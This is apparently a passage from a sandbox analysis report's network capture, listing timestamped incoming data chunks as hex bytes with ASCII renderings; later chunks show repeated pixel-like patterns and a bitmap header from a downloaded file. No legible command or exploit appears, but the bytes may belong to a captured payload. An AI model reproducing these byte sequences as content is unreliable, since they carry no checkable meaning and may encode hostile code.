57 2c 31 d2 f1 0b 43 ba 80 76 c8 58 d0 ef 98 0d e1 f2 b0 
Data Ascii: hoS'LdJ=uQF=oPn-xHi6LZ&o/+R;e]:ua3:+c/jPaCHQszp`5MmyW;AgcqF>aDr4iCt(]8d9lMXB.hW,1CvX

2022-01-13 21:05:30 UTC 1905 IN Data Raw: 82 cf 36 ae 2a 98 24 b6 4f d9 40 f6 a9 ba 09 5f 7f 0b 41 f5 a7 66 95 67 6d ee 7f 82 5b 71 a7 8e 04 f0 c5 7f a4 4d
c7 60 b3 8b 9e 01 a7 33 0c 5a 1f c7 87 c3 7c e4 cf 31 25 d4 51 a2 41 a2 1d b5 5c bc 48 ea 45 da 84 a7 ed 5e a4 84 9c 6e 
30 e5 a3 c2 f6 f3 ea e9 03 82 7e 85 d4 89 e2 b6 14 8f b6 62 97 8e b3 8e bc 1a df fd e4 39 d2 fe 95 a7 79 a6 48 27 83 72 9f 
ca a7 2e b1 7d 21 ee 9d 07 43 f8 c9 86 be 9d 83 81 f4 3b 8a e0 cd e3 01 a6 e0 d0 d0 2d 72 af af 1c 04 8e 8c 86 1c 72 71 
f4 b4 be 86 bd 8e f7 45 95 02 f6 3e b2 c6 59 06 87 6b 1b 31 22 4c 1e fa f8 ae d4 f3 c7 af 7e 0f 1e 50 f8 18 b6 1d f2 d4 f2 
a8 7b 8f d9 d2 2f c3 6c e9 cf a2 ff 96 0a f2 cd e8 af b6 4b 9f f9 8a bb 0f a2 0f 85 ef 2f ea da ef 61 7f de 96 ce 7a 03 df a7 3a
f7 71 7d 5b 8e 06 99 41 61 ef 10 31 
Data Ascii: 6*$O@_Afgm[qM`3Z|1%QA\HE^n0~b9yH'r.}!C;-rrqE>Yk1"L~P{/lK/az:q}[Aa1

2022-01-13 21:05:30 UTC 1921 IN Data Raw: 81 97 92 c1 32 66 e9 2a bb ea 25 02 ec 6f 4c db f2 2a a7 ca 4c 56 27 cc 8e 26 69 a8 9b 37 e9 b5 34 b7 1f 30 cf 
b4 2b 84 a5 0e 2e 7b 7c cf 2d 8b 44 17 45 78 c9 d3 5a 6e cd 5a 18 bb ea 28 25 ba bb 29 74 77 fb da 92 05 2a 74 75 25 69 
5a d9 b6 0c 31 bb 16 92 a6 a4 93 2a 0b 09 88 e7 bc 25 2b ea f0 42 3d f2 94 e4 b6 e4 4c 13 95 e7 b4 77 e8 55 46 2f bd ce 
22 73 5d 2b 3b fc b6 ca 3e 7a 97 b9 44 35 69 05 b4 84 ed f5 2b 2f 25 4d c0 75 16 fd 90 d5 f3 d9 da f6 1a ad 2a 78 20 f5 85 
03 a7 ef 74 94 0b 9f 85 c5 00 17 90 32 f9 c3 0b 94 33 74 16 b9 11 28 ce f2 cb 8a 8e 5a 89 5a 59 cb ca 82 8a 7c fb 34 a4 
6a 5f b9 55 51 7e 08 6e e8 a7 d6 0c 19 d2 46 2d 1d 4a 1d ec 1d 56 b8 83 52 40 9a 72 64 05 49 75 5f 56 17 95 c0 82 a6 e5 
40 19 6e 36 95 de 95 2e 2c b5 0a c3 54 33 46 0f b2 
Data Ascii: 2f*%oL*LV'&i740+.{|-DExZnZ(%)tw*tu%iZ1*%+B=LwUF/"s]+;>zD5i+/%Mu*x t23t(ZZY|4j_UQ~nF-JVR@
rdIu_V@n6.,T3F

2022-01-13 21:05:30 UTC 1937 IN Data Raw: a7 ac d2 72 a7 33 69 40 98 b8 a0 9d 05 d5 69 2d 97 ca d6 4c 2f ef 8f 7d da ac 03 a0 d3 6e ba e4 b9 b2 cb 88 
1e 23 ec f8 43 fa a0 6b 1f cb 33 d5 05 3d 47 e5 1c 56 c9 bd 74 82 9d 24 78 89 55 37 c7 e6 85 31 06 6e 02 aa 2c 77 68 ab 
6d f3 c9 1b 8a f5 5d 0a 62 e8 3d bb 0b 90 7e 3e a8 65 f6 17 7b d5 f3 29 6f 29 9a 18 26 07 79 05 70 c4 de 2a 99 a0 3d da 
85 c7 10 67 72 20 26 ec 83 9a 5a 16 35 cb ac 9f e4 48 2d 5b 37 93 95 02 86 66 bd ef 0c 77 fb e4 26 61 46 1f 0a a7 72 3f 
a5 c8 2e 9d e2 ad 91 b6 ae 35 83 df 17 c9 e9 6d 4e fb 33 6f 4d a0 e1 7f 0b 6e 38 23 c3 cb 2f 30 69 86 3b f0 fa f1 9a b3 58 
fa 69 56 c1 a7 30 96 95 3b b9 f8 20 3e 13 e1 4b ea 91 eb e3 b6 5b f8 75 5b d8 6b 74 0d f8 ee a9 ce ed 3b 79 ea 57 31 d6 
87 01 df 21 76 fc 7f 61 af e9 02 e8 e9 07 e0 d3 2d 1c 
Data Ascii: r3i@i-L/}n#Ck3=GVt$xU71n,whm]b=~>e{)o)&yp*=gr &Z5H-[7fw&aFr?.5mN3oMn8#/0i;XiV0; >K[u[kt;yW1!va-

2022-01-13 21:05:30 UTC 1953 IN Data Raw: f8 56 cf 3f fc d7 b7 ff 66 ef 9b 9b 49 d3 94 fd da 89 f3 69 70 69 42 9e ad 54 80 73 64 e6 48 36 9c 8d aa e1 68 3f 
0b f2 1b 4a ec 72 e0 05 f7 d6 8c a6 88 a9 64 52 63 87 4c 8c e5 75 74 49 19 24 49 5a a7 ec b1 29 4d 1a da fa d7 4d 39 26 
49 28 0c 55 7f bf 60 9d 1a da 00 fb 3c c7 e5 e8 f2 57 21 e7 54 c9 90 a5 ee f2 a5 ea 49 fe 59 51 12 72 e4 2d 1c f7 d2 50 b0 
7a dd 25 c3 a8 37 06 53 7c 86 36 e1 88 d1 ef 8d 90 cd 4f f4 64 d6 64 3f 3f b4 6c 88 a6 db 81 5d 06 97 a6 af c2 05 7d 15 ac 
5e dc eb aa 7b c3 d3 94 32 21 6d d1 d7 d7 63 d2 7a cf cf 4e 59 7a e0 3d b7 62 89 df c6 69 d1 87 bc 3d f7 b0 51 d3 d8 de 
5c 47 1c 96 33 a1 ba 25 ca 5e 1c 72 25 3e 4e 4b 14 33 dd d7 2b a0 60 2f c0 2b 29 3c e6 b8 08 a4 2c 4d ed f2 e0 21 9a 06 
94 1d 09 db d9 b2 ae bb c8 79 e2 a4 64 e7 ea 
Data Ascii: V?fIipiBTsdH6h?JrdRcLutI$IZ)MM9&I(U`<W!TIYQr-Pz%7S|6Odd??l]}^{2!mczNYz=bi=Q\G3%^r%>NK3+`/+)
<,M!yd

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:30 UTC 1969 IN Data Raw: de eb 7c 50 8f 3f d7 24 74 39 5e 9e f8 f4 d4 6c 24 58 9a d4 c3 ea fa 45 80 7b 73 c7 d2 1f 5a fd 88 c0 29 e0 0e 
eb a1 a3 ea 8c 66 c2 36 70 81 b9 8f 55 30 4e b4 d4 d4 b0 80 94 aa 5d c1 c0 86 a2 6b 9e 9b 0b dc 1c 8d b6 97 77 94 25 1d 
3d b8 9a 5a 85 38 59 36 d3 5b aa a4 29 58 be ba 5a a0 8d f4 74 43 6f 46 d3 4c 2c 0c 29 b4 3a 31 74 55 2c d2 1c 8e 48 7b 
d4 30 dd a7 ca da 60 a5 5f 97 b7 d5 d4 09 2d a7 d4 df e3 54 4e f8 39 79 cd 9d d0 f7 cc 98 eb 7a 23 04 b0 ed f5 d3 a6 33 
67 66 89 18 99 26 7c 28 1c 29 6b ba 82 f3 3e 53 76 c6 b8 5d 77 d1 c6 81 5a bc 5b b8 ee 58 58 aa 3b 43 e1 d0 1e 59 65 
e9 2a b8 f8 5d f2 46 b4 b8 a2 69 4d f0 33 69 96 32 c0 c8 4a e1 7c 99 23 a8 b0 a5 69 6d 70 f7 86 b1 d0 01 47 31 49 70 bb 
7a 99 c8 25 cf fd c7 31 59 c4 19 b3 4e ad 11 07 ac c2 34 
Data Ascii: |P?$t9^l$XE{sZ)f6pU0N]kw%=Z8Y6[)XZtCoFL,):1tU,H{0`_-TN9yz#3gf&|()k>Sv]wZ[XX;CYe*]FiM3i2J
|#impG1Ipz%1YN4

2022-01-13 21:05:30 UTC 1985 IN Data Raw: 92 1d e8 df 11 ae 1f 3f b7 f6 58 29 7d d6 62 de 23 00 eb 0f 32 9e a7 bb 37 b2 7f 44 3a 3c 62 b4 4b 8c 03 22 4e 
2f f7 50 43 ec 0f db c9 a9 63 db 91 5a 43 df 3d 75 65 88 35 b8 87 e7 be 17 3f 8f fd 59 5b 03 49 18 c3 ef cc da 8d c4 b5 fc 
ea 63 ac 1f ce e4 be 5b f8 c5 5a 95 60 70 c4 a4 83 9d a8 96 be e3 07 9e 3e 02 60 57 91 b0 7f cf 1a 3a fb a1 4f 48 ef 2f 7e 
13 3d c7 3a e8 67 70 59 fa ff 24 e9 57 01 f4 af 89 56 10 ec 6d d9 79 16 ce 7c 05 7b 17 87 30 aa 04 b0 3e fa b9 c0 1c e7 db
f7 28 11 fa 9a 63 e6 a0 09 96 3d c0 b4 98 a4 ca 46 56 8b b9 b9 b9 a2 42 a0 2b 61 09 88 eb 3a 2e 84 5b 02 a7 b2 ba 23 23 
47 6d b7 50 06 a5 0b b3 35 96 a6 a4 e4 e2 e0 b6 db 11 86 1c e7 ee 20 d2 d2 a6 5f f5 85 ad d4 13 eb 6b df 1b fe e8 e6 bb 
5f 62 9d c6 bf ed 07 3e cb 7a f7 f9 df be f6 
Data Ascii: ?X)}b#27D:<bK"N/PCcZC=ue5?Y[Ic[Z`p>`W:OH/~=:gpY$WVmy|{0>(c=FVB+a:.[##GmP5 _k_b>z

2022-01-13 21:05:30 UTC 2001 IN Data Raw: b5 25 60 8b 23 86 aa fb 81 c9 a8 c6 53 4b ea 80 dd b3 84 b8 2d 20 7b ce b8 49 29 99 92 87 ab 05 7f bc 77 49 
4e 99 00 51 cf 56 a6 57 45 d1 4a da 50 a3 79 0f b6 a1 be a4 0f 71 85 2c 47 22 9f 38 66 93 d6 14 3f 98 81 c3 cc a0 b1 7b 
98 80 22 da ba 72 ad 0f de 80 65 bf ac e9 e4 40 20 75 78 5f 2d 2d 1d 6d 68 28 8a 5f 94 14 5e d6 fc be a4 ad dc c7 0a 15 
43 a7 cc 3a 59 1b 23 c6 4b 3d af 36 73 0f ef 7d a9 d6 16 ca 9f d0 fa ee 06 8c 5f 8e 9b 21 0b 78 0d eb 2e e5 29 35 87 bf c8 
57 6a 03 59 8c 8a 19 e1 45 fa 00 d0 43 4e b6 bc 02 64 21 70 b7 58 4b 51 d2 a2 94 bc a5 81 3c 8b 4e 9b 35 3a ad 17 2a 
77 2c 52 f3 70 00 a4 9e b5 2e a6 ce 3e bb c9 dd 36 3c 6c d4 81 c5 2d 31 08 60 60 49 93 eb 10 43 1b dd 9f 9a 1b cc b2 a2 
a7 9e cb 47 59 a6 04 e6 72 8f a6 bb ec d3 22 a9 74 da be 
Data Ascii: %`#SK- {I)wINQVWEJPyq,G"8f?{"re@ ux_--mh(_^C:Y#K=6s}_!x.)5WjYECNd!pXKQ<N5:*w,Rp.>6<l-1``ICGYr"t

2022-01-13 21:05:30 UTC 2009 IN Data Raw: 16 ee e3 8f af cd 9e 23 9f 25 e1 a0 a8 c6 19 dc 08 dd 6a 22 e8 46 d3 f8 43 c8 2b 4e 42 ae d2 f1 73 7c 9d 60 6f 
44 b5 f4 60 88 58 be 44 e4 95 9e 8a 50 cb f0 e0 95 27 13 ef 77 13 85 91 23 a2 a0 c0 40 5e 39 7e 5a b3 db ef bc 05 3d c4 
76 93 df 1a 18 c4 bf fb c9 0a f2 0d 68 2d f0 3f 62 1f 1f bd fe 55 2b c8 13 18 e3 0f d2 5d 2b 03 62 3b c9 42 4b 11 4b 41 d9 
93 0e 3f ac 2d 02 71 1e 1b cc e9 db d0 cc c6 c9 a3 a2 14 50 40 91 12 9b 9c 74 97 ac 18 7f a0 59 97 58 9d 87 d4 83 3a 40 
4e 92 f2 cc 84 e6 52 52 bf 2e 62 1c f4 83 2b e4 7f da 6f ec 69 67 0d 99 f8 05 d8 c9 4f fc af df 53 bf 0b fa 5e 43 6b fe a3 95 
df a2 3c af ca df db 7e f5 cf bf f4 6b 93 db e7 aa ff 0f fe 1d 72 35 2c 2e ea de 98 38 1f b7 a6 28 5c da a5 e7 f2 d0 47 0f 39 
f3 8a 6d 05 c7 ba 24 cf dd 0d 59 d3 35 
Data Ascii: #%j"FC+NBs|`oD`XDP'w#@^9~Z=vh-?bU+]+b;BKKA?-qP@tYX:@NRR.b+oigOS^Ck<~kr5,.8(\G9m$Y5

2022-01-13 21:05:30 UTC 2025 IN Data Raw: e2 aa d7 f5 0b f9 88 cb 36 a4 ee e6 42 58 10 71 4c e8 4b 68 c5 cf aa 39 95 e5 5e cd 78 41 4b 5a fc 19 f0 a4 29 
66 79 e7 fa 6d 59 6f 6f 5b 54 b5 dc 7b 00 43 dc bd 0e 84 68 2c 51 c0 3b 93 2e 9d 13 60 9b 51 57 c0 ba 95 ab a7 61 4b d1 
ab 18 cc 73 a7 f7 73 82 02 eb 1c 8a 28 67 54 a0 94 11 83 26 b6 27 ba cf ba 6e 4a b3 b4 a6 b0 0d b1 0b b3 1d b6 be 42 2b 
c2 61 07 6f 8f 25 84 ce ba b4 54 a1 76 3b a0 40 0e 2e b4 72 57 76 ee 85 cb bd a4 2c 5e e8 eb ca 9a 8b eb 86 08 33 fa 4f 
39 d2 94 9c e9 2d 3b fb dc 18 3f 65 4d da fd 5a bc 10 e0 8d 41 dc d9 90 63 3a 6e ae 00 6c 03 e7 b4 07 4f 6d 33 ef 1c 9a 
d1 22 6b ad 25 21 4c b0 0c be 4a e6 53 27 21 e9 54 da ce 95 79 ed 83 21 af bd d6 11 37 d7 26 c8 b6 e9 e2 3a e2 e4 2a 
43 c0 b6 22 01 a1 5e d4 cc 5d 5b a6 07 f2 1e 97 a5 9b 6a 
Data Ascii: 6BXqLKh9^xAKZ)fymYoo[T{Ch,Q;.`QWaKss(gT&'nJB+ao%Tv;@.rWv,^3O9-;?eMZAc:nlOm3"k%!LJS'!Ty!7
&:*C"^][j

2022-01-13 21:05:30 UTC 2041 IN Data Raw: 83 b5 4f 81 14 f9 4e 6f 2f c9 5f 19 23 86 91 ba bc 55 95 82 c2 a8 29 78 88 aa 22 5b b1 83 7c 2d b1 b6 be 19 2d 
04 90 b6 ba 6f 49 e9 3a b6 0b 6e 6b 7e 4f ed 08 32 62 9e ab 84 95 b6 82 fa 7b fa 79 a6 4c ef ed d4 8e 16 0e b6 a4 ac 8c 
1e c5 6c 1c 6e 41 c2 73 f4 75 30 14 4b 77 af 53 4c 9f ac 0e 95 2d 91 cb e5 5a 8a 35 9e 17 1c 09 be 1f cc dc 16 f7 d8 aa 
56 21 c8 e5 71 d6 b7 1a ce 0c 6d e2 2d 0b 7c c6 cc d5 44 d6 75 44 8b e7 d2 8a 87 b9 49 26 ce cf 22 fc 7f d9 a1 e0 a4 96 
48 e6 30 de fb fd df f8 23 ff 9f 49 bc 9e 0c 90 46 d0 8d 37 9e f2 4f ff ee b3 6f a9 ab 10 59 10 70 a0 c8 ec 55 f4 fe 95 63 d4 
fd ea bf 95 7f de 4e 7a 2e 5e 31 a3 61 1c 99 13 d6 74 f1 1c ed f7 0c 10 f2 f8 2d cc fe 92 00 da 2b 48 e6 e9 f5 3f 25 14 1e 
12 7f d2 00 2f 0e f1 27 32 a8 05 41 60 b2 72 
Data Ascii: ONo/_#U)x"[|--oI:nk~O2b{yLlnAsu0KwSL-Z5V!qm-|DuDI&"H0#IF7OoYpUcNz.^1at-+H?%/'2A`r

2022-01-13 21:05:30 UTC 2057 IN Data Raw: ad a4 2d 45 50 16 f9 f7 f6 59 99 68 60 7f 9a af e3 3f 5b f9 c3 3b 0a 72 8f b6 f4 fa 73 18 d0 3a c6 66 4d e0 b1 b7 
34 68 40 b4 8c 66 6a 75 da c4 9d 51 5a 5a e7 6d 26 64 dd e6 f2 8e 84 d7 56 d6 e8 17 a6 d0 ee de c8 5d d4 8d f5 25 c2 63 
6f 1a 59 e9 c5 2d ae 08 d9 28 5b 0a 37 b9 98 bd 85 04 3f b1 70 c4 f7 bf f8 ea cb 09 c0 23 d2 ff 3e 33 1d 05 af b0 af bd f5 6f
de fb 4f 94 ff f1 17 df f1 81 2f 98 be e7 a7 0d a6 e9 a7 de e6 17 7f e2 4f 88 90 14 df 7d 73 20 33 05 b8 9c 2c 0e 57 ed 58 
11 d7 a6 5d c0 7e 6f 35 e8 0a 95 bc 67 0d a3 97 db b6 78 32 50 a5 08 d6 19 f7 f9 2a 84 9b c6 d6 e4 96 5f c8 dd 9d db 30 
96 4f 03 99 30 cd dc 38 55 73 19 a5 a3 ba de 27 29 31 59 2b ed 15 1f 52 35 8c 4f 58 85 30 ad bb 85 23 01 51 4a 04 80 b9 
bb b0 f1 72 35 e3 4e ab 12 fb 57 3a 02 6a 
Data Ascii: -EPYh`?[;rs:fM4h@fjuQZZm&dV]%coY-([7?p#>3oO/O}s 3,WX]~o5gx2P*_0O08Us')1Y+R5OX0#QJr5NW:j

2022-01-13 21:05:30 UTC 2073 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 

2022-01-13 21:05:30 UTC 2089 IN Data Raw: ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 
31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 
ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 
31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 
ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 
31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 f0 ff 31 31 
Data Ascii: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111

2022-01-13 21:05:30 UTC 2105 IN Data Raw: ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 
e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 
20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 
20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 
ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 
e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 20 e3 ff 20 
20 
Data Ascii:                                                                                                                                 

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:30 UTC 2121 IN Data Raw: ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 
70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 
ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 
70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 
ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 
70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 f8 ff 70 70 
Data Ascii: pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
pppppppppppppppppppppppppppppppppppppppp

2022-01-13 21:05:30 UTC 2137 IN Data Raw: 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 
00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 
00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 
00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 
0a 00 00 00 0a 00 00 00 0a 00 00 00 0a 00 00 00 09 00 00 00 08 00 00 00 06 00 00 00 03 00 00 00 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 0b 00 00 00 15 00 00 00 1f 00 
00 00 26 00 00 00 2b 00 00 00 2d 00 00 00 2e 00 00 00 2e 00 00 00 2e 00 00 
Data Ascii: &+-...

2022-01-13 21:05:30 UTC 2153 IN Data Raw: fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21
21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 
e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 
fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 
21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 
21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e5 fe 21 21 e
5 fe 21 21 e5 fe 21 21 e5 fe 21 21 
Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

2022-01-13 21:05:30 UTC 2169 IN Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 28 00 00 00 48 00 00 00 90 00 00 00 01 00 20 00 00 00 00 00 60 54 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: (H `T

2022-01-13 21:05:30 UTC 2185 IN Data Raw: ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3
ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3
fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 fe 4f 4f d3 ff 4f 4f d3 ff 4e 4e d3 fe 4a 4a ca 8b 7f 7f e9 3f 88 88 eb 3f 8d 8d ed 3f 
86 86 ec 3c 7a 7a e9 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 3b d1 62 4b 4b e4 ff 4d 4d e4 ff 
4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 
ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d e4 ff 4d 4d 
Data Ascii: OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONNJJ???
<zz;;bKKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

2022-01-13 21:05:30 UTC 2201 IN Data Raw: e6 14 14 dc e6 14 14 dc e6 14 14 dc e6 1a 1a de fe 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a 
df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 
1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a 
df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 
1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a df ff 1a 1a 
df ff 1a 1a de fe 14 14 dc e6 14 14 dc e6 14 14 dc e6 14 14 dc e6 11 11 d7 b2 10 10 d5 c1 13 13 
Data Ascii: 

2022-01-13 21:05:30 UTC 2217 IN Data Raw: ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 
eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb ff 73 73 eb fe 72 72 e1 e5 2f 2f 5c 15 72 72 e0 23 84 84 f8 e6 
